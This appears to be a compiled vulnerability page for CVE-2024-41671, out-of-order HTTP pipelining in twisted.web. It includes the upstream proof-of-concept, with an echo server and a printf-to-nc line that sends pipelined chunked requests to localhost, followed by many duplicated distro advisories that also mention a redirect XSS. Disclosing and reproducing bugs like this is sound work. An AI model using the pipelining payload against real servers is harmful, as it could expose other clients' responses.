CVE-2024-41671

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.

Summary

The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.

PoC

0. Start a fresh Debian container:

docker run --workdir /repro --rm -it debian:bookworm-slim

1. Install twisted and its dependencies:

apt -y update && apt -y install ncat git python3 python3-pip \
    && git clone --recurse-submodules https://github.com/twisted/twisted \
    && cd twisted \
    && pip3 install --break-system-packages .

2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:

from twisted.web import server, resource
from twisted.internet import reactor

class TheResource(resource.Resource):
    isLeaf = True

    def render_GET(self, request) -> bytes:
        return b"GET"

    def render_POST(self, request) -> bytes:
        return b"POST"

site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()

3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:

(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80

4. Observe that the responses arrive out of order:

HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html

POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html

GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html

POST

Impact

See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)

Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:

Security Fix(es):

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)

Summary

The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.

PoC

0. Start a fresh Debian container:

docker run --workdir /repro --rm -it debian:bookworm-slim

1. Install twisted and its dependencies:

apt -y update && apt -y install ncat git python3 python3-pip \
    && git clone --recurse-submodules https://github.com/twisted/twisted \
    && cd twisted \
    && pip3 install --break-system-packages .

2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:

from twisted.web import server, resource
from twisted.internet import reactor

class TheResource(resource.Resource):
    isLeaf = True

    def render_GET(self, request) -> bytes:
        return b"GET"

    def render_POST(self, request) -> bytes:
        return b"POST"

site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()

3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:

(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80

4. Observe that the responses arrive out of order:

HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html

POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html

GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html

POST

Impact

See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.

Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.

TuxCare rebuilt twisted to address 4 CVEs. Fixed in 20.3.0.post4+tuxcare.

Twisted.web has disordered HTTP pipeline response. (CVE-2023-46137) Twisted.web has disordered HTTP pipeline response. (CVE-2024-41671) HTML injection in HTTP redirect body. (CVE-2024-41810)

These are all security issues fixed in the matrix-synapse-1.112.0-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the python-Twisted-doc-24.3.0-2.1 package on the GA media of openSUSE Tumbleweed.

This update for python-Twisted fixes the following issues:

• CVE-2024-41671: Fixed an information disclosure due to HTTP requests processed out-of-order (bsc#1228549)
• CVE-2024-41810: Fixed reflected XSS via HTML injection in redirect response (bsc#1228552)

This update for python-Twisted fixes the following issues:

• CVE-2024-41671: Fixed an information disclosure due to HTTP requests processed out-of-order (bsc#1228549)
• CVE-2024-41810: Fixed reflected XSS via HTML injection in redirect response (bsc#1228552)

This update for python3-Twisted fixes the following issues:

• CVE-2024-41671: Fixed HTTP pipelined requests processed out of order in twisted.web (bsc#1228549)
• CVE-2024-41810: Fixed reflected XSS via HTML Injection in Redirect Response (bsc#1228552)

This update for python-Twisted fixes the following issues:

• CVE-2024-41671: Fixed an information disclosure due to HTTP requests processed out-of-order (bsc#1228549)
• CVE-2024-41810: Fixed reflected XSS via HTML injection in redirect response (bsc#1228552)

Ben Kallus discovered that Twisted incorrectly handled response order when processing multiple HTTP requests. A remote attacker could possibly use this issue to delay and manipulate responses. This issue only affected Ubuntu 24.04 LTS. (CVE-2024-41671)

It was discovered that Twisted did not properly sanitize certain input. An attacker could use this vulnerability to possibly execute an HTML injection leading to a cross-site scripting (XSS) attack. (CVE-2024-41810)

USN-6988-1 fixed CVE-2024-41671 in Twisted. The USN incorrectly stated that previous releases were unaffected. This update provides the equivalent fix for Ubuntu 22.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 18.04 LTS.

Original advisory details:

Ben Kallus discovered that Twisted incorrectly handled response order when processing multiple HTTP requests. A remote attacker could possibly use this issue to delay and manipulate responses. This issue only affected Ubuntu 24.04 LTS. (CVE-2024-41671)